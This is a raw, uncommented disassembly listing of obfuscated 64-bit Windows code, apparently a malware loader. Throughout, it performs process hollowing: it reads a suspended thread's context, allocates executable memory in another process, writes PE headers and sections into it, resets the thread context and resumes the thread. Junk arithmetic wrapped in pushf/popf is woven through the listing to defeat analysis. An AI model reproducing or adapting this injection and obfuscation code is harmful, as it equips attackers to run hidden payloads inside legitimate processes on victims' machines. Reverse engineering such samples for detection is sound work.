xor eax, 0xf3d05bd7
rol eax, 0x8a
popf
jmp 0x14000a432
xor edx, edx
lea rcx, [rsp + 0x74]
mov r8d, 0xd6860765
pushf
not r8d
add r8d, 0x95017e38
xor r8d, 0xf6b415d3
rol r8d, 0x93
popf
pushf
not r8d
add r8d, 0xcc7d1ba3
xor r8d, 0xdab8e73f
rol r8d, 0x7f
popf
pushf
not r8d
add r8d, 0xe067beca
xor r8d, 0xbf42a5bd
rol r8d, 0xd
popf
call sub.VCRUNTIME140.dll_memset
mov rcx, qword [rsp + 0x58]
lea rdx, [rsp + 0x70]
mov dword [rsp + 0x70], 0x10000b
jmp 0x14000baeb
call qword [sym.imp.KERNEL32.dll_Wow64GetThreadContext]
test eax, eax
je 0x14000bb52
push rax
pushf
mov eax, 0xb589ba06
pushf
not eax
add eax, 0xb56cd3ac
xor eax, 0xf45045bb
rol eax, 0x22
popf
pushf
not eax
add eax, 0x9b113565
xor eax, 0xfc826450
rol eax, 0xf
popf
pushf
not eax
add eax, 0xe6b555c2
xor eax, 0x9c19095e
rol eax, 0xdf
popf
pushf
not eax
add eax, 0x9c8d8080
xor eax, 0xd7663e60
rol eax, 0xd7
popf
jmp 0x14000a432
push rax
pushf
mov eax, 0x997b9dd9
pushf
not eax
add eax, 0xaa331809
xor eax, 0x8e72e6ab
rol eax, 0x29
popf
pushf
not eax
add eax, 0x8d990e61
xor eax, 0xeb3df656
rol eax, 0xc2
popf
pushf
not eax
add eax, 0xd7fe2aa1
xor eax, 0xc842b411
rol eax, 0xf6
popf
pushf
not eax
add eax, 0xbd57def5
xor eax, 0xc7192db9
rol eax, 0xe4
popf
jmp 0x14000a432
mov edx, dword [rbp + 0x14]
lea r8, [rdi + 0x34]
mov rcx, qword [rsp + 0x50]
add rdx, 8
mov r9d, 0x76e2776b
pushf
not r9d
add r9d, 0xcbe0a7ae
xor r9d, 0x81f0e79e
rol r9d, 0xf3
popf
pushf
not r9d
add r9d, 0x82863716
xor r9d, 0xff4b1d0f
rol r9d, 0xc8
popf
pushf
not r9d
add r9d, 0xf91ce79b
xor r9d, 0xc99beb0c
rol r9d, 0x25
popf
pushf
not r9d
add r9d, 0x8f332a9d
xor r9d, 0xecdba02f
rol r9d, 0xde
popf
mov qword [rsp + 0x20], r13
jmp 0x14000bc2b
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14000bc7f
push rax
pushf
mov eax, 0xe3b3f9a3
pushf
not eax
add eax, 0xcd63dd69
xor eax, 0xad4c79d7
rol eax, 0xbf
popf
pushf
not eax
add eax, 0xb56bf26f
xor eax, 0x8cba8565
rol eax, 0x79
popf
pushf
not eax
add eax, 0xc9ce7f1f
xor eax, 0xc9d3fdde
rol eax, 0xaf
popf
jmp 0x14000a432
push rax
pushf
mov eax, 0x254c02ec
pushf
not eax
add eax, 0xf315c560
xor eax, 0xaa76bfc1
rol eax, 0xfc
popf
pushf
not eax
add eax, 0x8a08b167
xor eax, 0xba0b57c5
rol eax, 0x3f
popf
pushf
not eax
add eax, 0xa55a298a
xor eax, 0xf2051589
rol eax, 0x5d
popf
pushf
not eax
add eax, 0xfb129511
xor eax, 0x81a83013
rol eax, 0xf
popf
jmp 0x14000a432
mov ecx, dword [rdi + 0x28]
lea rdx, [rsp + 0x70]
push r15
not r15d
sub ecx, r15d
pop r15
sub ecx, 1
mov dword [rbp + 0x20], ecx
mov rcx, qword [rsp + 0x58]
jmp 0x14000bcf6
call qword [sym.imp.KERNEL32.dll_Wow64SetThreadContext]
test eax, eax
je 0x14000bd4a
push rax
pushf
mov eax, 0x2cfe1e5d
pushf
not eax
add eax, 0xc65f52af
xor eax, 0xb9429a95
rol eax, 0x5b
popf
pushf
not eax
add eax, 0xafddad4d
xor eax, 0xc47a7e25
rol eax, 0xb2
popf
pushf
not eax
add eax, 0x92c74837
xor eax, 0xcafa599b
rol eax, 0x37
popf
jmp 0x14000a432
push rax
pushf
mov eax, 0xff86dcd0
pushf
not eax
add eax, 0xa00a4dd5
xor eax, 0xa9ee44f1
rol eax, 0xd9
popf
pushf
not eax
add eax, 0xd36826ec
xor eax, 0xe9554180
rol eax, 0x1a
popf
jmp 0x14000a432
mov rcx, qword [rsp + 0x58]
jmp 0x14000bd83
call qword [sym.imp.KERNEL32.dll_ResumeThread]
jmp 0x14000c5ca
mov rdx, rbx
lea rcx, [rsp + 0x50]
call fcn.140012c57
jmp 0x14000c539
test eax, eax
jne 0x14000be8d
push rax
pushf
mov eax, 0x54a3fa5f
pushf
not eax
add eax, 0xc2e4f94c
xor eax, 0xa7e97792
rol eax, 0xe4
popf
pushf
not eax
add eax, 0xa8db71ac
xor eax, 0xbc7f4807
rol eax, 0x11
popf
pushf
not eax
add eax, 0xa98c42e4
xor eax, 0x861bf668
rol eax, 0x15
popf
jmp 0x14000a432
push rax
pushf
mov eax, 0xcf7fe0ee
pushf
not eax
add eax, 0xd47665a7
xor eax, 0xcd017844
rol eax, 0x80
popf
pushf
not eax
add eax, 0x8a4cb374
xor eax, 0x81df57f3
rol eax, 0xf7
popf
pushf
not eax
add eax, 0x9de0d3cb
xor eax, 0xdbc051da
rol eax, 0x37
popf
jmp 0x14000a432
mov r8d, dword [rdi + 0x50]
mov r9d, 0x3587c840
pushf
not r9d
add r9d, 0xdfabb3ec
xor r9d, 0xa56f9328
rol r9d, 0x7b
popf
pushf
not r9d
add r9d, 0xfe4fc6c6
xor r9d, 0xe5156301
rol r9d, 0x96
popf
mov rdx, qword [rdi + 0x30]
mov rcx, qword [rsp + 0x50]
mov dword [rsp + 0x20], 0x40
jmp 0x14000bf21
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r15, rax
test rax, rax
je 0x14000bf66
push rax
pushf
mov eax, 0x750d4289
pushf
not eax
add eax, 0xa6f1dad1
xor eax, 0xe75639ab
rol eax, 0xd
popf
pushf
not eax
add eax, 0xdf0d2736
xor eax, 0x8ae98c5f
rol eax, 0xd0
popf
jmp 0x14000a432
push rax
pushf
mov eax, 0x7e430264
pushf
not eax
add eax, 0xe6758008
xor eax, 0xa33c6810
rol eax, 0x3b
popf
pushf
not eax
add eax, 0xa9e72378
xor eax, 0x91d7b71e
rol eax, 0xe5
popf
pushf
not eax
add eax, 0xff84aca5
xor eax, 0xb463ff11
rol eax, 0x1a
popf
jmp 0x14000a432
mov r9d, dword [rdi + 0x54]
mov r8, rbx
mov rcx, qword [rsp + 0x50]
mov rdx, rax
mov qword [rsp + 0x20], r13
jmp 0x14000bfc1
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14000c028
push rax
pushf
mov eax, 0xb91f4a92
pushf
not eax
add eax, 0xd4542000
xor eax, 0xbacbdffb
rol eax, 0x8c
popf
pushf
not eax
add eax, 0xf285f9a7
xor eax, 0xfecff1a0
rol eax, 0x36
popf
pushf
not eax
add eax, 0xcd8a00cd
xor eax, 0xe0f1f31c
rol eax, 0x93
popf
pushf
not eax
add eax, 0xe65b4eb6
xor eax, 0x9ece3b17
rol eax, 0xba
popf
jmp 0x14000a432
push rax
pushf
mov eax, 0x1aeb03e9
pushf
not eax
add eax, 0xe48fef64
xor eax, 0xe6338842
rol eax, 3
popf
pushf
not eax
add eax, 0x946e31e2
xor eax, 0x9daf639d
rol eax, 0x1a
popf
pushf
not eax
add eax, 0xd495dcfa
xor eax, 0xde6d6b63
rol eax, 0x1f
popf
jmp 0x14000a432
mov esi, r13d
cmp r13w, word [rdi + 6]
jae 0x14000c0d1
push rax
pushf
mov eax, 0x3cd8af79
pushf
not eax
add eax, 0xe9f6195b
xor eax, 0xce1b7b82
rol eax, 0x96
popf
pushf
not eax
add eax, 0xf4723aca
xor eax, 0xa431ba33
rol eax, 0xe8
popf
pushf
not eax
add eax, 0xdf2fc7f4
xor eax, 0xcbe66c52
rol eax, 0x5e
popf
pushf
not eax
add eax, 0x846a998d
xor eax, 0xc5080a77
rol eax, 0x81
popf
jmp 0x14000a432
push rax
pushf
mov eax, 0x8755d3ff
pushf
not eax
add eax, 0x8bc5eaf3
xor eax, 0xfdb4ecca
rol eax, 0xb2
popf
pushf
not eax
add eax, 0xfbe9757d
xor eax, 0xa6b4e81d
rol eax, 0x8b
popf
pushf
not eax
add eax, 0xf6d97f73
xor eax, 0x952dffdb
rol eax, 0x3c
popf
pushf
not eax
add eax, 0xd6040329
xor eax, 0xe81b819f
rol eax, 0x1d
popf
jmp 0x14000a432
mov r14, r13
push rax
pushf
mov eax, 0x5cb8fea
pushf
not eax
add eax, 0xec2c38e1
xor eax, 0xbf60aad9
rol eax, 0xfe
popf
pushf
not eax
add eax, 0x96c28045
xor eax, 0x88827fb8
rol eax, 0xc5
popf
jmp 0x14000a432
movzx eax, word [rdi + 0x14]
mov rcx, qword [rsp + 0x50]
push r14
not r14
sub rax, r14
pop r14
sub rax, 1
mov qword [rsp + 0x20], r13
mov r8d, dword [rax + rdi + 0x2c]
mov edx, dword [rax + rdi + 0x24]
push rbx
not rbx
sub r8, rbx
pop rbx
sub r8, 1
mov r9d, dword [rax + rdi + 0x28]
push r15
not r15
sub rdx, r15
pop r15
sub rdx, 1
jmp 0x14000c1a5
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14000c20c
push rax
pushf
mov eax, 0xfcbd7a55
pushf
not eax
add eax, 0xdb947eb8
xor eax, 0xe163d9cb
rol eax, 0xe
popf
pushf
not eax
add eax, 0xeaa8db56
xor eax, 0xeae6bcee
rol eax, 0x87
popf
pushf
not eax
add eax, 0xdae14e18
xor eax, 0x8e554d1e
rol eax, 0xa4
popf
pushf
not eax
add eax, 0xba9ccfc0
xor eax, 0xb1905529
rol eax, 0x5b
popf
jmp 0x14000a432
push rax
pushf
mov eax, 0xae1ddcb1
pushf
not eax
add eax, 0xe52279a8
xor eax, 0x8af636e7
rol eax, 0xbc
popf
pushf
not eax
add eax, 0xda4cb7cd
xor eax, 0xc9b33db4
rol eax, 0xb4
popf
pushf
not eax
add eax, 0xa9966c5c
xor eax, 0x9f9e8670
rol eax, 0x17
popf
jmp 0x14000a432
movzx eax, word [rdi + 6]
jmp 0x14000c257
inc esi
add r14, 0x28
cmp esi, eax
jl 0x14000c294
push rax
pushf
mov eax, 0xbd04700
pushf
not eax
add eax, 0xe8ee60ba
xor eax, 0xfe230e45
rol eax, 0x9b
popf
pushf
not eax
add eax, 0x9492ee44
xor eax, 0xb37c6584
rol eax, 0xd3
popf
jmp 0x14000a432
push rax
pushf
mov eax, 0x216d02a3
pushf
not eax
add eax, 0xaa51e09b
xor eax, 0xde20d88b
rol eax, 0x3f
popf
pushf
not eax
add eax, 0xe084c16e
xor eax, 0xb522aa2f
rol eax, 0x39
popf
jmp 0x14000a432
xor edx, edx
lea rcx, [rsp + 0x70]
mov r8d, 0x46e4bc1e
pushf
not r8d
add r8d, 0xcfa8d50f
xor r8d, 0xa28b2ba2
rol r8d, 0xa3
popf
pushf
not r8d
add r8d, 0xf4641c76
xor r8d, 0xe1ea81f7
rol r8d, 0xe6
popf
call sub.VCRUNTIME140.dll_memset
mov rcx, qword [rsp + 0x58]
lea rdx, [rsp + 0x70]
mov dword [rbp - 0x60], 0x10000b
jmp 0x14000c31d
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x14000c35e
push rax
pushf
mov eax, 0x3b817f99
pushf
not eax
add eax, 0xf593e885
xor eax, 0xc7282271
rol eax, 0x1e
popf
pushf
not eax
add eax, 0x995f7858
xor eax, 0xfaa0e5b1
rol eax, 0x4e
popf
jmp 0x14000a432
push rax
pushf
mov eax, 0x5d0f2826
pushf
not eax
add eax, 0xb40be0a0
xor eax, 0x96c40642
rol eax, 0x2d
popf
pushf
not eax
add eax, 0xd638334d
xor eax, 0xb5fb8540
rol eax, 0x97
popf
pushf
not eax
add eax, 0x8f8de7f7
xor eax, 0x8dd82257
rol eax, 0xce
popf
jmp 0x14000a432
mov rdx, qword [rbp - 8]
lea r8, [rdi + 0x30]
mov rcx, qword [rsp + 0x50]
add rdx, 0x10
mov r9d, 0xa7d523c7
pushf
not r9d
add r9d, 0xfed7156d
xor r9d, 0xed1e2af0
rol r9d, 0xb7
popf
pushf
not r9d
add r9d, 0xd8918b80
xor r9d, 0x8632076a
rol r9d, 0x62
popf
pushf
not r9d
add r9d, 0xa09e9fe1
xor r9d, 0xa30d59b6
rol r9d, 0xc9
popf
pushf
not r9d
add r9d, 0xc9951b8d
xor r9d, 0xb5b0aae9
rol r9d, 0x16
popf
mov qword [rsp + 0x20], r13
jmp 0x14000c425
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14000c475
push rax
pushf
mov eax, 0x5493eb81
pushf
not eax
add eax, 0x8c981f44
xor eax, 0x99f43b3d
rol eax, 0xa9
popf
pushf
not eax
add eax, 0xd748c897
xor eax, 0xee96efdc
rol eax, 0xf7
popf
pushf
not eax
add eax, 0xfddbe84a
xor eax, 0xb64e7036
rol eax, 0x55
popf
jmp 0x14000a432
push rax
pushf
mov eax, 0x70de5e09
pushf
not eax
add eax, 0xce623c4a
xor eax, 0xbf3ff507
rol eax, 0x1d
popf
pushf
not eax
add eax, 0xcaac5a73
xor eax, 0xce54050a
rol eax, 0xf6
popf
jmp 0x14000a432
mov eax, dword [rdi + 0x28]
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0x58]
push r15
not r15
sub rax, r15
pop r15
sub rax, 1
mov qword [rbp - 0x10], rax
jmp 0x14000c4c8
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
jmp 0x14000bcfc
mov rdx, rbx
lea rcx, [rsp + 0x50]
call fcn.1400104b2
test eax, eax
je 0x14000c583
push rax
pushf
mov eax, 0xd9990487
pushf
not eax
add eax, 0xaa1fd48c
xor eax, 0xf2779abb
rol eax, 0x49
popf
pushf
not eax
add eax, 0x99893d97
xor eax, 0xbea5cfc7
rol eax, 0x43
popf
pushf
not eax
add eax, 0xdc9dafd9
xor eax, 0x922a2b28
rol eax, 0xca
popf
jmp 0x14000a432
push rax
pushf
mov eax, 0x8b432f5d
pushf
not eax
add eax, 0x9157c312
xor eax, 0xbda3447c
rol eax, 0x72
popf
pushf
not eax
add eax, 0xeedc182e
xor eax, 0xd47d5125
rol eax, 0x4a
popf
pushf
not eax
add eax, 0xb936b744
xor eax, 0xa41509d4
rol eax, 0xec
popf
jmp 0x14000a432
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
jmp 0x14000c5d9
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x14000c642
push rax
pushf
mov eax, 0x851e9b19
pushf
not eax
add eax, 0xbed8976a
xor eax, 0x9ec2b2ae
rol eax, 0x91
popf
pushf
not eax
add eax, 0xe91b6bc0
xor eax, 0xbb8f2371
rol eax, 0x40
popf
pushf
not eax
add eax, 0xf45502a4
xor eax, 0xec1e9896
rol eax, 0xc0
popf
pushf
not eax
add eax, 0x90b4c8dd
xor eax, 0xa6d76e5f
rol eax, 0x8b
popf
jmp 0x14000a432
push rax
pushf
mov eax, 0xeac994c8
pushf
not eax
add eax, 0xdeff236e
xor eax, 0x9baf10f4
rol eax, 0x7b
popf
pushf
not eax
add eax, 0xd3b2afc9
xor eax, 0xf0acd26b
rol eax, 0xc5
popf
pushf
not eax
add eax, 0xf8453f58
xor eax, 0xc3b2d771
rol eax, 0xda
popf
pushf
not eax
add eax, 0xfcd0af0b
xor eax, 0xb8354347
rol eax, 0x94
popf
jmp 0x14000a432
call qword [sym.imp.KERNEL32.dll_CloseHandle]
push rax
pushf
mov eax, 0x95c34240
pushf
not eax
add eax, 0xefb3957c
xor eax, 0xa834c3bb
rol eax, 0x8f
popf
pushf
not eax
add eax, 0xc8e86349
xor eax, 0xf00ee9da
rol eax, 0x81
popf
pushf
not eax
add eax, 0x811b35bf
xor eax, 0x8413e1d5
rol eax, 0xa6
popf
pushf
not eax
add eax, 0x88a7609d
xor eax, 0x91f37be7
rol eax, 0
popf
jmp 0x14000a432
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x14000c738
push rax
pushf
mov eax, 0x2be6a3c7
pushf
not eax
add eax, 0xfe649dc7
xor eax, 0xd45f1361
rol eax, 0x1f
popf
pushf
not eax
add eax, 0xb402eed4
xor eax, 0xb0f0e984
rol eax, 0x95
popf
jmp 0x14000a432
push rax
pushf
mov eax, 0x3ac94f65
pushf
not eax
add eax, 0xcd9a610e
xor eax, 0xf2a6edcf
rol eax, 0x24
popf
pushf
not eax
add eax, 0xe963ca7e
xor eax, 0xa8f0c9e9
rol eax, 0xef
popf
pushf
not eax
add eax, 0xe8ab0f84
xor eax, 0xb9351863
rol eax, 0x3f
popf
pushf
not eax
add eax, 0xbff0b800
xor eax, 0xc5ad3eb2
rol eax, 7
popf
jmp 0x14000a432
call qword [sym.imp.KERNEL32.dll_CloseHandle]
push rax
pushf
mov eax, 0x89d03e64
pushf
not eax
add eax, 0xe4848b6f
xor eax, 0x8e95af00
rol eax, 0x5c
popf
pushf
not eax
add eax, 0xf8d5e0bb
xor eax, 0xc0c7072a
rol eax, 0x54
popf
pushf
not eax
add eax, 0xb80a7241
xor eax, 0xcac9a9b3
rol eax, 0x2b
popf
pushf
not eax
add eax, 0xc3f03af9
xor eax, 0x8345983a
rol eax, 0x17
popf
jmp 0x14000a432
xor eax, eax
jmp 0x14000caa2
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
jmp 0x14000c84e
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x14000c8a4
push rax
pushf
mov eax, 0xd3c6ede6
pushf
not eax
add eax, 0xaff62083
xor eax, 0xda10420f
rol eax, 0xd1
popf
pushf
not eax
add eax, 0x93180506
xor eax, 0xcd6d9ed0
rol eax, 0xcb
popf
pushf
not eax
add eax, 0xba64d2c8
xor eax, 0xd7320c63
rol eax, 0x19
popf
jmp 0x14000a432
push rax
pushf
mov eax, 0xb43383f5
pushf
not eax
add eax, 0xf44a161f
xor eax, 0xe3f524f3
rol eax, 0x3c
popf
pushf
not eax
add eax, 0xef74d61a
xor eax, 0xaa414623
rol eax, 0xe5
popf
pushf
not eax
add eax, 0xd9e93de2
xor eax, 0xeaeda664
rol eax, 0xda
popf
jmp 0x14000a432
call qword [sym.imp.KERNEL32.dll_CloseHandle]
push rax
pushf
mov eax, 0xdd74fc64
pushf
not eax
add eax, 0x93671709
xor eax, 0xad4d0a13
rol eax, 0x2b
popf
pushf
not eax
add eax, 0x9f18c9c2
xor eax, 0xbd9310fc
rol eax, 9
popf
jmp 0x14000a432
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x14000c974
push rax
pushf
mov eax, 0xccb0d46e
pushf
not eax
add eax, 0xe9765ed9
xor eax, 0xc59a38da
rol eax, 0x6f
popf
pushf
not eax
add eax, 0xb15b4689
xor eax, 0xcf97d696
rol eax, 0x9f
popf
pushf
not eax
add eax, 0xa9d70582
xor eax, 0x9e0c7dc1
rol eax, 0x41
popf
jmp 0x14000a432
push rax
pushf
mov eax, 0x29f8d4a6
pushf
not eax
add eax, 0xe3ee32bc
xor eax, 0xf245f02a
rol eax, 0xc
popf
pushf
not eax
add eax, 0xdfeabf8e
xor eax, 0xd506bad2
rol eax, 0x17
popf
jmp 0x14000a432
mov edx, 0xd13e9070
pushf
not edx
add edx, 0x8780bdd0
xor edx, 0xaedc2701
rol edx, 0xf4
popf
pushf
not edx
add edx, 0xad9ccf60
xor edx, 0xba495dfd
rol edx, 0xab
popf
pushf
not edx
add edx, 0xa39e8be0
xor edx, 0xed258a0f
rol edx, 0x83
popf
jmp 0x14000c9ec
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x50]
jmp 0x14000c9f8
call qword [sym.imp.KERNEL32.dll_CloseHandle]
push rax
pushf
mov eax, 0x694b88d5
pushf
not eax
add eax, 0x984dd204
xor eax, 0xcbbdbbea
rol eax, 0x36
popf
pushf
not eax
add eax, 0x83ffc6de
xor eax, 0xdc2c2fee
rol eax, 0x78
popf
pushf
not eax
add eax, 0x95cb652f
xor eax, 0x86bc7a72
rol eax, 0x83
popf
jmp 0x14000a432
mov eax, 0x93437d9
pushf
not eax
add eax, 0xafb6222f
xor eax, 0xf6a46791
rol eax, 0xd4
popf
pushf
not eax
add eax, 0xf4959be9
xor eax, 0xe7af666f
rol eax, 0xe6
popf
push rax
pushf
mov eax, 0xa4b74cfa
pushf
not eax
add eax, 0xe32b0515
xor eax, 0xbe40a3e2
rol eax, 0x71
popf
pushf
not eax
add eax, 0xd80ce22a
xor eax, 0xa022e1c3
rol eax, 0xb0
popf
jmp 0x14000a432
mov rcx, qword [rbp + 0x4c0]
xor rcx, rsp
call fcn.14000fff1
lea r11, [rsp + 0x5d0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret